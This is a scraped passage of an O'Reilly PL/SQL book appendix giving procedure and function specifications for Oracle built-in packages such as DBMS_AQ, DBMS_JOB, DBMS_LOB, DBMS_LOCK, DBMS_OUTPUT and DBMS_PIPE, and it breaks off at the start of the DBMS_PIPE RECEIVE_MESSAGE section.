Previous: C.1 Using the Built-in Packages | Oracle PL/SQL Programming, 2nd Edition | Next: C.3 Oracle AQ, the Advanced Queueing Facility
C.1 Using the Built-in Packages | Book Index | C.3 Oracle AQ, the Advanced Queueing Facility
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.3 Oracle AQ, the Advanced Queueing Facility

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.3 Oracle AQ, the Advanced Queueing Facility

Oracle8 offers the Oracle Advanced Queuing facility (Oracle AQ) which implements deferred execution of work. There are two packages you will use to implement advanced queuing: DBMS_AQ, which contains the queuing procedures themselves, and DBMS_AQADM, which lets you perform administrative tasks. They make extensive use of PL/SQL record structures, as you will see in the individual program interfaces below. For more detail on these records and how to manipulate their contents, see Oracle Built-in Packages.

C.3.1 DBMS_AQ (PL/SQL 8 Only)

The DBMS_AQ package provides an interface to the messaging tasks of Oracle AQ. To use these procedures, you must have been granted the new role, AQ_USER_ROLE.

C.3.1.1 The ENQUEUE procedure

The ENQUEUE procedure adds a message to an existing message queue. The target message queue must have had enqueuing enabled previously via the DBMS_ AQADM.START_QUEUE procedure. The specification is:

PROCEDURE DBMS_AQ.ENQUEUE
  (q_schema IN VARCHAR2 DEFAULT NULL
   q_name IN VARCHAR2,
   corrid IN VARCHAR2 DEFAULT NULL,
   transactional IN BOOLEAN:= TRUE,
   priority IN POSITIVE DEFAULT 1,
   delay IN DATE DEFAULT NULL,
   expiration IN NATURAL:= 0,
   relative_msgid IN NUMBER DEFAULT NULL,
   seq_deviation IN CHAR DEFAULT A,
   exception_queue_schema IN VARCHAR2 DEFAULT NULL,
   exception_queue IN VARCHAR2 DEFAULT NULL,
   reply_queue_schema IN VARCHAR2 DEFAULT NULL,
   reply_queue IN VARCHAR2 DEFAULT NULL,
   user_data IN any_object_type,
   msgid OUT RAW);

C.3.1.2 The DEQUEUE procedure

The DEQUEUE procedure can either remove or browse a message from an existing message queue. The target message queue must have had dequeuing enabled previously via the DBMS_AQADM.STOP_QUEUE procedure. The specification is:

PROCEDURE DBMS_AQ.DEQUEUE
  (q_schema IN VARCHAR2 DEFAULT NULL,
   q_name IN VARCHAR2,
   msgid IN RAW DEFAULT NULL,
   corrid IN VARCHAR2 DEFAULT NULL,
   deq_mode IN CHAR DEFAULT `D',
   wait_time IN NATURAL DEFAULT NULL,
   transactional IN BOOLEAN:= true,
   out_msgid OUT NUMBER,
   out_corrid OUT VARCHAR2,
   priority OUT POSITIVE,
   delay OUT DATE,
   expiration OUT NATURAL,
   retry OUT NATURAL,
   exception_queue_schema OUT VARCHAR2,
   exception_queue OUT VARCHAR2,
   reply_queue_schema OUT VARCHAR2,
   reply_queue OUT VARCHAR2,
   user_data OUT any_object_type);

C.3.2 DBMS_AQADM (PL/SQL 8 Only)

The DBMS_AQADM package provides an interface to the administrative tasks of Oracle AQ. To use these procedures, a DBMS_AQADM user must have been granted the new role, AQ_ADMINISTRATOR_ROLE. You can verify the results of executing the DBMS_ AQADM package by querying the new Oracle AQ data dictionary views, USER_QUEUE_ TABLES and USER_QUEUES (DBA levels of these views are also available).

C.3.2.1 The CREATE_QUEUE_TABLE procedure

The CREATE_QUEUE_TABLE procedure creates a queue table. A queue table is the named repository for a set of queues and their messages. A queue table may contain numerous queues, each of which may have many messages. But a given queue and its messages may exist in only one queue table. The specification is:

PROCEDURE DBMS_AQADM.CREATE_QUEUE_TABLE
  (queue_table IN VARCHAR2
   ,queue_payload_type IN VARCHAR2
   ,storage_clause IN VARCHAR2 DEFAULT NULL
   ,sort_list IN VARCHAR2 DEFAULT NULL
   ,multiple_consumers IN BOOLEAN DEFAULT FALSE
   ,message_grouping IN BINARY_INTEGER DEFAULT NONE
   ,comment IN VARCHAR2 DEFAULT NULL
   ,auto_commit IN BOOLEAN DEFAULT TRUE);

C.3.2.2 The DROP_QUEUE_TABLE procedure

The DROP_QUEUE_TABLE procedure drops an existing queue table. An error is returned if the queue table does not exist. The force parameter specifies whether all existing queues in the queue table are stopped and dropped automatically or manually. If manually (i.e., FALSE), then the queue administrator must stop and drop all existing queues within the queue table using the DBMS_AQADM.STOP_QUEUE and DBMS_AQADM.DROP_QUEUE procedures. The specification is:

PROCEDURE DBMS_AQADM.DROP_QUEUE_TABLE
  (queue_table IN VARCHAR2,
   force IN BOOLEAN default FALSE,
   auto_commit IN BOOLEAN default TRUE);

C.3.2.3 The CREATE_QUEUE procedure

The CREATE_QUEUE procedure creates a new message queue within an existing queue table. An error is returned if the queue table does not exist. The required queue_name parameter specifies the name of the new message queue to create. All queue names must be unique within the schema. The specification is:

PROCEDURE DBMS_AQADM.CREATE_QUEUE
  (queue_name IN VARCHAR2,
   queue_table IN VARCHAR2,
   queue_type IN BINARY_INTEGER default DBMS_AQADM.NORMAL_QUEUE,
   max_retries IN NUMBER default 0,
   retry_delay IN NUMBER default 0,
   retention_time IN NUMBER default 0,
   dependency_tracking IN BOOLEAN default FALSE,
   comment IN VARCHAR2 default NULL,
   auto_commit IN BOOLEAN default TRUE);

C.3.2.4 The ALTER_QUEUE procedure

The ALTER_QUEUE procedure modifies properties of an existing message queue. It returns an error if the message queue does not exist. Currently, you can alter only the maximum retries, retry delay, retention time, rentention delay and auto-commit properties; Oracle will augment this list in future releases. The specification is:

PROCEDURE DBMS_AQADM.ALTER_QUEUE (
   queue_name IN VARCHAR2,
   max_retries IN NUMBER default NULL,
   retry_delay IN NUMBER default NULL,
   retention_time IN NUMBER default NULL,
   auto_commit IN BOOLEAN default TRUE);

C.3.2.5 The DROP_QUEUE procedure

The DROP_QUEUE procedure drops an existing message queue. It returns an error if the message queue does not exist. DROP_QUEUE is not allowed unless STOP_QUEUE has been called to disable both enqueuing and dequeuing for the message queue to be dropped. If the message queue has not been stopped, then DROP_QUEUE returns an error of queue resource busy. The specification is:

PROCEDURE DBMS_AQADM.DROP_QUEUE_TABLE
  (queue_table IN VARCHAR2,
   force IN BOOLEAN default FALSE,
   auto_commit IN BOOLEAN default TRUE);

C.3.2.6 The START_QUEUE procedure

The START_QUEUE procedure enables an existing message queue for enqueuing and dequeuing. It returns an error if the message queue does not exist. The default is to enable both. The specification is:

PROCEDURE DBMS_AQADM.START_QUEUE (
   queue_name IN VARCHAR2,
   enqueue IN BOOLEAN DEFAULT TRUE,
   dequeue IN BOOLEAN DEFAULT TRUE);

C.3.2.7 The STOP_QUEUE procedure

The STOP_QUEUE procedure disables an existing message queue for enqueuing and dequeuing. It returns an error if the message queue does not exist. The default is to disable both enqueuing and dequeuing. The wait parameter specifies whether to wait for outstanding transactions or to return immediately. The wait option is highly dependent on outstanding transactions. If outstanding transactions exist, then wait will either hang until the transactions complete or return an error of ORA-24203, depending on whether the wait parameter is set to true or false. The specification is:

PROCEDURE DBMS_AQADM.STOP_QUEUE
  (queue_name IN VARCHAR2,
   enqueue IN BOOLEAN DEFAULT TRUE,
   dequeue IN BOOLEAN DEFAULT TRUE,
   wait IN BOOLEAN DEFAULT TRUE);

Previous: C.2 DBMS_ALERT | Oracle PL/SQL Programming, 2nd Edition | Next: C.4 DBMS_DDL
C.2 DBMS_ALERT | Book Index | C.4 DBMS_DDL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.4 DBMS_DDL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.4 DBMS_DDL

The DBMS_DDL package provides access to some of the SQL DDL statements from within stored procedures.

C.4.1 The ALTER_COMPILE procedure

The ALTER_COMPILE procedure can be used to programmatically force a recompile of a stored object. The specification is:

PROCEDURE DBMS_DDL.ALTER_COMPILE
   (type VARCHAR2,
    schema VARCHAR2,
    name VARCHAR2);

C.4.2 The ANALYZE_OBJECT procedure

A call to ANALYZE_OBJECT lets you programmatically compute statistics for the specified object. The specification is:

PROCEDURE DBMS_DDL.ANALYZE_OBJECT
   (type VARCHAR2,
    schema VARCHAR2,
    name VARCHAR2,
    method VARCHAR2,
    estimate_rows NUMBER DEFAULT NULL,
    estimate_percent NUMBER DEFAULT NULL);

Previous: C.3 Oracle AQ, the Advanced Queueing Facility | Oracle PL/SQL Programming, 2nd Edition | Next: C.5 DBMS_ JOB
C.3 Oracle AQ, the Advanced Queueing Facility | Book Index | C.5 DBMS_ JOB
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.5 DBMS_ JOB

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.5 DBMS_ JOB

The DBMS_ JOB package provides a way for you to schedule jobs from within the Oracle RDBMS. A job is a call to a single stored procedure. You can submit a job to run once or on a recurring basis. Once a job has been submitted, you can check on the status of the job by viewing a data dictionary table. You can also change the parameters of the job with the CHANGE procedure. When you submit a job, you must provide a string that describes that job to the DBMS_ JOB package and specify a job execution interval.

C.5.1 The BROKEN procedure

The Oracle Server considers a job to be broken if it has tried and failed 16 times to run the job. At this point, Oracle marks the job as broken and will no longer try to run the job until either (a) you mark the job as fixed or (b) you force the job to execute with a call to the RUN procedure. Use the BROKEN procedure to mark the job as fixed and specify the next date on which you want the job to run. The specification is:

PROCEDURE DBMS_JOB.BROKEN
   (job IN BINARY_INTEGER,
    broken IN BOOLEAN,
    next_date IN DATE DEFAULT SYSDATE);

C.5.2 The CHANGE procedure

Use the CHANGE procedure to change one or all of the attributes of a job. The specification is:

PROCEDURE DBMS_JOB.CHANGE
   (job IN BINARY_INTEGER,
    what IN VARCHAR2,
    next_date IN DATE,
    interval IN VARCHAR2);

C.5.3 The INTERVAL procedure

Use the INTERVAL procedure to change the interval for which a queued job is going to run. The specification is:

PROCEDURE DBMS_JOB.INTERVAL
   (job IN BINARY_INTEGER,
    interval IN VARCHAR2);

C.5.4 The ISUBMIT procedure

The ISUBMIT procedure submits a new job with a specified job number to the queue. The difference between ISUBMIT and SUBMIT (described later in this section) is that ISUBMIT specifies a job number, whereas SUBMIT returns a job number generated by the DBMS_JOB package. The specification is:

PROCEDURE DBMS_JOB.ISUBMIT
   (job IN BINARY_INTEGER,
   what IN VARCHAR2,
   next_date in DATE DEFAULT SYSDATE
   interval IN VARCHAR2 DEFAULT 'NULL',
   no_parse in BOOLEAN DEFAULT FALSE);

C.5.5 The NEXT_DATE procedure

Use the NEXT_DATE procedure to change when a queued job is going to run. The specification is:

PROCEDURE DBMS_JOB.NEXT_DATE
   (job IN BINARY_INTEGER,
    next_date IN DATE);

C.5.6 The REMOVE procedure

Use the REMOVE procedure to remove a job from the queue. If the job has started execution, you cannot remove it from the queue. The specification is:

PROCEDURE DBMS_JOB.REMOVE (job IN BINARY_INTEGER);

C.5.7 The RUN procedure

Use the RUN procedure to force a job to be executed immediately, regardless of the values for next_date and interval stored in the job queue. The specification is:

PROCEDURE DBMS_JOB.RUN (job IN BINARY_INTEGER);

C.5.8 The SUBMIT procedure

The SUBMIT procedure submits jobs to the queue. The specification is:

PROCEDURE DBMS_JOB.SUBMIT
   (job OUT BINARY_INTEGER,
    what IN VARCHAR2,
    next_date IN DATE DEFAULT SYSDATE,
    interval IN VARCHAR2 DEFAULT 'NULL',
    no_parse IN BOOLEAN DEFAULT FALSE);

C.5.9 The USER_EXPORT procedure

The USER_EXPORT procedure is used to extract the job string from a job in the queue. The specification is:

PROCEDURE DBMS_JOB.USER_EXPORT
   (job IN BINARY_INTEGER,
    mycall OUT VARCHAR2);

C.5.10 The WHAT procedure

Use the WHAT procedure to change what a queued job is going to run. The specification is:

PROCEDURE DBMS_JOB.WHAT
   (job IN BINARY_INTEGER,
    what IN VARCHAR2);

Previous: C.4 DBMS_DDL | Oracle PL/SQL Programming, 2nd Edition | Next: C.6 DBMS_LOB (PL/SQL8 Only)
C.4 DBMS_DDL | Book Index | C.6 DBMS_LOB (PL/SQL8 Only)
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.6 DBMS_LOB (PL/SQL8 Only)

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.6 DBMS_LOB (PL/SQL8 Only)

Use the DBMS_LOB package to manipulate LOBs (large objects) from within a PL/SQL program and SQL statements. With DBMS_LOB you can read and modify BLOBs (binary LOBs), CLOBs (single-byte character data), and NCLOBs (fixed-width single-byte or multibyte character data), and you can perform read-only operations on BFILEs (file-based LOBs).

C.6.1 The APPEND procedure

Call the APPEND procedure to append the contents of a source LOB to a destination LOB. The specifications are:

PROCEDURE DBMS_LOB.APPEND
   (dest_lob IN OUT BLOB,
    src_lob IN BLOB);

PROCEDURE DBMS_LOB.APPEND
   (dest_lob IN OUT CLOB CHARACTER SET ANY_CS,
    src_lob IN CLOB CHARACTER SET DEST_LOB%CHARSET);

C.6.2 The COMPARE function

Use the compare function to compare two LOBs in their entirety, or compare just parts of two LOBs. The specifications are:

FUNCTION DBMS_LOB.COMPARE
   (lob_1 IN BLOB,
    lob_2 IN BLOB,
    amount IN INTEGER := 4294967295,
    offset_1 IN INTEGER := 1,
    offset_2 IN INTEGER := 1)
RETURN INTEGER;

FUNCTION DBMS_LOB.COMPARE
   (lob_1 IN CLOB CHARACTER SET ANY_CS,
    lob_2 IN CLOB CHARACTER SET LOB_1%CHARSET,
    amount IN INTEGER := 4294967295,
    offset_1 IN INTEGER := 1,
    offset_2 IN INTEGER := 1)
RETURN INTEGER;

FUNCTION DBMS_LOB.COMPARE
   (file_1 IN BFILE,
    file_2 IN BFILE,
    amount IN INTEGER,
    offset_1 IN INTEGER := 1,
    offset_2 IN INTEGER := 1)
RETURN INTEGER;

C.6.3 The COPY procedure

The copy procedure copies all or part of a source LOB to a destination LOB. The specifications are:

PROCEDURE DBMS_LOB.COPY
   (dest_lob IN OUT BLOB,
    src_lob IN BLOB,
    amount IN OUT INTEGER,
    dest_offset IN INTEGER := 1,
    src_offset IN INTEGER := 1);

PROCEDURE DBMS_LOB.COPY
   (dest_lob IN OUT CLOB CHARACTER SET ANY_CS,
    src_lob IN CLOB CHARACTER SET DEST_LOB%CHARSET,
    amount IN OUT INTEGER,
    dest_offset IN INTEGER := 1,
    src_offset IN INTEGER := 1);

C.6.4 The ERASE procedure

The erase procedure erases an entire LOB or part of a LOB. The specifications are:

PROCEDURE DBMS_LOB.ERASE
   (lob_loc IN OUT BLOB,
    amount IN OUT INTEGER,
    offset IN INTEGER := 1);

PROCEDURE DBMS_LOB.ERASE
   (lob_loc IN OUT CLOB CHARACTER SET ANY_CS,
    amount IN OUT INTEGER,
    offset IN INTEGER := 1);

C.6.5 The FILECLOSE procedure

Call the fileclose procedure to close a BFILE which has previously been opened in your session or PL/SQL block. The specification is:

PROCEDURE DBMS_LOB.FILECLOSE (file_loc IN OUT BFILE);

C.6.6 The FILECLOSEALL procedure

The filecloseall procedure closes all BFILEs which have previously been opened in your session. The specification is:

PROCEDURE DBMS_LOB.FILECLOSEALL;

C.6.7 The FILEEXISTS function

The fileexists function returns 1 if the file you have specified via a BFILE locator exists. The specification is:

FUNCTION DBMS_LOB.FILEEXISTS (file_loc IN BFILE) RETURN INTEGER;

C.6.8 The FILEGETNAME procedure

Use the filegetname procedure to translate a BFILE locator into its directory alias and filename components. The specification is:

PROCEDURE DBMS_LOB.FILEGETNAME
   (file_loc IN BFILE,
    dir_alias OUT VARCHAR2,
    filename OUT VARCHAR2);

C.6.9 The FILEISOPEN function

The fileisopen function returns 1 if the BFILE is already open. The specification is:

FUNCTION DBMS_LOB.FILEISOPEN (file_loc IN BFILE) RETURN INTEGER;

C.6.10 The FILEOPEN procedure

The fileopen procedure opens a BFILE with the specified mode. The specification is:

PROCEDURE DBMS_LOB.FILEOPEN
   (file_loc IN OUT BFILE,
    open_mode IN BINARY_INTEGER := FILE_READONLY);

C.6.11 The GETLENGTH function

Use the getlength function to return the length of the specified LOB in bytes or characters, depending on the type of LOB. The specifications are:

FUNCTION DBMS_LOB.GETLENGTH (lob_loc IN BLOB) RETURN INTEGER;

FUNCTION DBMS_LOB.GETLENGTH(lob_loc IN CLOB CHARACTER SET ANY_CS)
RETURN INTEGER;

FUNCTION DBMS_LOB.GETLENGTH (file_loc IN BFILE) RETURN INTEGER;

C.6.12 The INSTR function

The instr function returns the matching location of the nth occurrence of the specified pattern in the LOB. The specifications are:

FUNCTION DBMS_LOB.INSTR
   (lob_loc IN BLOB,
    pattern IN RAW,
    offset IN INTEGER := 1,
    nth IN INTEGER := 1)
RETURN INTEGER;

FUNCTION DBMS_LOB.INSTR
   (lob_loc IN CLOB CHARACTER SET ANY_CS,
    pattern IN VARCHAR2 CHARACTER SET LOB_LOC%CHARSET,
    offset IN INTEGER := 1,
    nth IN INTEGER := 1)
RETURN INTEGER;

FUNCTION DBMS_LOB.INSTR
   (file_loc IN BFILE,
    pattern IN RAW,
    offset IN INTEGER := 1,
    nth IN INTEGER := 1)
RETURN INTEGER;

C.6.13 The READ procedure

Call the read procedure to read a portion of a LOB into a buffer variable. The specifications are:

PROCEDURE DBMS_LOB.READ
   (lob_loc IN BLOB,
    amount IN OUT BINARY_INTEGER,
    offset IN INTEGER,
    buffer OUT RAW);

PROCEDURE DBMS_LOB.READ
   (lob_loc IN CLOB CHARACTER SET ANY_CS,
    amount IN OUT BINARY_INTEGER,
    offset IN INTEGER,
    buffer OUT VARCHAR2 CHARACTER SET LOB_LOC%CHARSET);

PROCEDURE DBMS_LOB.READ
   (file_loc IN BFILE,
    amount IN OUT BINARY_INTEGER,
    offset IN INTEGER,
    buffer OUT RAW);

C.6.14 The SUBSTR function

The substr function returns the specified number of bytes or characters from a LOB. The specifications are:

FUNCTION DBMS_LOB.SUBSTR
   (lob_loc IN BLOB,
    amount IN INTEGER := 32767,
    offset IN INTEGER := 1)
RETURN RAW;

FUNCTION DBMS_LOB.SUBSTR
   (lob_loc IN CLOB CHARACTER SET ANY_CS,
    amount IN INTEGER := 32767,
    offset IN INTEGER := 1)
RETURN VARCHAR2;

FUNCTION DBMS_LOB.SUBSTR
   (file_loc IN BFILE,
    amount IN INTEGER := 32767,
    offset IN INTEGER := 1)
RETURN RAW;

C.6.15 The TRIM procedure

Use the trim procedure to trim the LOB value to the length you specify. The specifications are:

PROCEDURE DBMS_LOB.TRIM
   (lob_loc IN OUT BLOB,
    newlen IN INTEGER);

PROCEDURE DBMS_LOB.TRIM
   (lob_loc IN OUT CLOB CHARACTER SET ANY_CS,
    newlen IN INTEGER);

C.6.16 The WRITE procedure

Call the write procedure to write a specified number of bytes or characters from a buffer variable into a LOB at a specified position. The specifications are:

PROCEDURE DBMS_LOB.WRITE
   (lob_loc IN OUT BLOB,
    amount IN OUT BINARY_INTEGER,
    offset IN INTEGER,
    buffer IN RAW);

PROCEDURE DBMS_LOB.WRITE
   (lob_loc IN OUT CLOB CHARACTER SET ANY_CS,
    amount IN OUT BINARY_INTEGER,
    offset IN INTEGER,
    buffer IN VARCHAR2 CHARACTER SET LOB_LOC%CHARSET);

Previous: C.5 DBMS_ JOB | Oracle PL/SQL Programming, 2nd Edition | Next: C.7 DBMS_LOCK
C.5 DBMS_ JOB | Book Index | C.7 DBMS_LOCK
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.7 DBMS_LOCK

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.7 DBMS_LOCK

The DBMS_LOCK package provides you with access to the Oracle Lock Management (OLM) services. With OLM, you can request a lock of a particular type, assign it a name that can then be used as a handle to this lock, modify the lock, and even release the lock. A lock you create with the DBMS_LOCK package has all the functionality of a lock generated by the Oracle RDBMS, including deadlock detection and view access through SQL*DBA and the relevant virtual tables.

C.7.1 The ALLOCATE_UNIQUE procedure

The ALLOCATE_UNIQUE procedure allocates a unique lock handle for the specified lock name. The specification is:

PROCEDURE DBMS_LOCK.ALLOCATE_UNIQUE
   (lockname IN VARCHAR2,
    lockhandle OUT VARCHAR2,
    expiration_secs IN INTEGER DEFAULT 864000);

C.7.2 The CONVERT function

The CONVERT function converts a lock from one type or mode to another. The specifications are:

FUNCTION DBMS_LOCK.CONVERT
   (id IN INTEGER,
    lockmode IN INTEGER,
    timeout IN NUMBER DEFAULT MAXWAIT)
RETURN INTEGER;

FUNCTION DBMS_LOCK.CONVERT
   (lockhandle IN VARCHAR2,
    lockmode IN INTEGER,
    timeout IN NUMBER DEFAULT MAXWAIT)
RETURN INTEGER;

The function returns the status of the attempt to change the mode, as shown below:

0

Success.

1

Timeout. The lock could not be converted within the specified number of seconds.

2

Deadlock. In this case, an arbitrary session will be rolled back.

3

Parameter error.

4

The session does not own the lock specified by lock ID or the lock handle.

5

Invalid lock handle. The handle was not found on the DBMS_LOCK_ALLOCATED table.

C.7.3 The RELEASE function

The RELEASE function releases the specified lock. This specifications are:

FUNCTION DBMS_LOCK.RELEASE (id IN INTEGER) RETURN INTEGER;
FUNCTION DBMS_LOCK.RELEASE (lockhandle IN VARCHAR2) RETURN INTEGER;

In both cases, the RELEASE function returns a status with one of four values:

0

Successful release of lock

3

Error in the parameter passed to release

4

Session does not own lock specified by ID or lock handle

5

Illegal lock handle

C.7.4 The REQUEST function

The REQUEST function requests a lock of the specified mode. The specifications are:

FUNCTION DBMS_LOCK.REQUEST
   (id IN INTEGER,
    lockmode IN INTEGER DEFAULT X_MODE,
    timeout IN NUMBER DEFAULT MAXWAIT,
    release_on_commit IN BOOLEAN DEFAULT FALSE)
RETURN INTEGER;

FUNCTION DBMS_LOCK.REQUEST
   (lockhandle IN VARCHAR2,
    lockmode IN INTEGER DEFAULT X_MODE,
    timeout IN NUMBER DEFAULT MAXWAIT,
    release_on_commit IN BOOLEAN DEFAULT FALSE)
RETURN integer;

The function returns the status of the attempt to obtain the lock; the codes are identical to those shown above for the convert function.

C.7.5 The SLEEP procedure

The SLEEP procedure suspends the current session for a specified period of time (in seconds). The specification is:

PROCEDURE DBMS_LOCK.SLEEP (seconds IN NUMBER);

Previous: C.6 DBMS_LOB (PL/SQL8 Only) | Oracle PL/SQL Programming, 2nd Edition | Next: C.8 DBMS_MAIL
C.6 DBMS_LOB (PL/SQL8 Only) | Book Index | C.8 DBMS_MAIL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.8 DBMS_MAIL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.8 DBMS_MAIL

The DBMS_MAIL package provides an interface to Oracle Office (formerly Oracle*Mail). To use this package you must first install the Oracle Office product.

C.8.1 The SEND procedure

The SEND procedure provides a programmatic interface to the Oracle*Mail send-message facility. Use the SEND module to send an Oracle*Mail message. The specification is:

PROCEDURE DBMS_MAIL.SEND
   (from_str IN VARCHAR2, to_str IN VARCHAR2,
    cc IN VARCHAR2, bcc IN VARCHAR2,
    subject IN VARCHAR2, reply_to IN VARCHAR2,
    body IN VARCHAR2);

Previous: C.7 DBMS_LOCK | Oracle PL/SQL Programming, 2nd Edition | Next: C.9 DBMS_OUTPUT
C.7 DBMS_LOCK | Book Index | C.9 DBMS_OUTPUT
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.9 DBMS_OUTPUT

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.9 DBMS_OUTPUT

Of all the packages in this appendix, the DBMS_OUTPUT package is the one you will find yourself using most frequently. This package allows you to display information to your session's output device in a buffer as your PL/SQL program executes. As such, it serves as just about the only easily accessible means of debugging your PL/SQL Version 2 programs. DBMS_OUTPUT is also the package you will use to generate reports from PL/SQL scripts run in SQL*Plus.

C.9.1 The DISABLE procedure

The DISABLE procedure disables all calls to the DBMS_OUTPUT package (except for ENABLE, described next). It also purges the buffer of any remaining lines of information. After you execute this command, any calls to PUT_LINE and other modules will be ignored and you will not see any output. The specification is:

PROCEDURE DBMS_OUTPUT.DISABLE;

C.9.2 The ENABLE procedure

The ENABLE procedure enables calls to the other DBMS_OUTPUT modules. If you do not first call ENABLE, then any other calls to the package modules are ignored. The specification is:

PROCEDURE DBMS_OUTPUT.ENABLE (buffer_size IN INTEGER DEFAULT 2000);

C.9.3 The GET_LINE procedure

The GET_LINE procedure retrieves one line of information from the buffer. The specification is:

PROCEDURE DBMS_OUTPUT.GET_LINE
  (line OUT VARCHAR2,
   status OUT INTEGER);

C.9.4 The GET_LINES procedure

The GET_LINES procedure retrieves multiple lines from the buffer with one call. It reads the buffer into a PL/SQL string table. The specification is:

PROCEDURE DBMS_OUTPUT.GET_LINES
  (lines OUT CHARARR,
   numlines IN OUT INTEGER);

C.9.5 The NEW_LINE procedure

The NEW_LINE procedure inserts an end-of-line marker in the buffer. Use NEW_LINE after one or more calls to PUT in order to terminate those entries in the buffer with a newline marker. The specification is:

PROCEDURE DBMS_OUTPUT.NEW_LINE;

C.9.6 The PUT procedure

The PUT procedure puts information into the buffer, but does not append a newline marker into the buffer. Use PUT if you want to place information in the buffer (usually with more than one call to PUT), but not also automatically issue a newline marker. The specifications are:

PROCEDURE DBMS_OUTPUT.PUT (A VARCHAR2);
PROCEDURE DBMS_OUTPUT.PUT (A NUMBER);
PROCEDURE DBMS_OUTPUT.PUT (A DATE);

C.9.7 The PUT_LINE procedure

The PUT_LINE procedure puts information into the buffer and then appends a newline marker into the buffer. The specifications are:

PROCEDURE DBMS_OUTPUT.PUT_LINE (A VARCHAR2);
PROCEDURE DBMS_OUTPUT.PUT_LINE (A NUMBER);
PROCEDURE DBMS_OUTPUT.PUT_LINE (A DATE);

Previous: C.8 DBMS_MAIL | Oracle PL/SQL Programming, 2nd Edition | Next: C.10 DBMS_PIPE
C.8 DBMS_MAIL | Book Index | C.10 DBMS_PIPE
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.10 DBMS_PIPE

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.10 DBMS_PIPE

The DBMS_PIPE package provides a way for sessions in the same database instance to communicate with each other. One of the most useful aspects of Oracle pipes is that pipe communication is asynchronous: you need not COMMIT a transaction in order to initiate pipe-related activity, as is necessary with the DBMS_ALERT package. You can send a message through and receive a message from a pipe at any time. Indeed, more than one session can read or write to the same pipe.

C.10.1 The CREATE_PIPE function

With PL/SQL Release 2.2 only, the CREATE_PIPE function allows you to explicitly request the creation of a pipe, either public or private. The specification is:

FUNCTION DBMS_PIPE.CREATE_PIPE
   (pipename IN VARCHAR2,
    maxpipesize IN INTEGER DEFAULT 8192,
    private IN BOOLEAN DEFAULT TRUE)
RETURN INTEGER;

The function returns a numeric status code. If it returns 0, then the pipe was created successfully.

C.10.2 The NEXT_ITEM_TYPE function

The NEXT_ITEM_TYPE function returns the type of the next item in the local message buffer. Data is put in the message buffer with both the PACK_MESSAGE and the RECEIVE_MESSAGE procedures. Use NEXT_ITEM_TYPE to decide which kind of variable you should use to receive the data from the buffer with the overloaded UNPACK_MESSAGE module. The specification is:

FUNCTION DBMS_PIPE.NEXT_ITEM_TYPE RETURN INTEGER;

where the return value for the function is one of the following:

0

No more items in buffer

9

VARCHAR2

6

NUMBER

12

DATE

C.10.3 The PACK_MESSAGE procedure

The PACK_MESSAGE procedure packs an item into the message buffer for your session. A pipe message item may have a datatype of VARCHAR2, NUMBER, or DATE. The specifications are:

PROCEDURE DBMS_PIPE.PACK_MESSAGE (item IN VARCHAR2);
PROCEDURE DBMS_PIPE.PACK_MESSAGE (item IN NUMBER);
PROCEDURE DBMS_PIPE.PACK_MESSAGE (item IN DATE);

C.10.4 The PURGE procedure

The PURGE procedure empties the contents of the named pipe. The specification is:

PROCEDURE DBMS_PIPE.PURGE (pipename IN VARCHAR2);

C.10.5 The RECEIVE_MESSAGE function

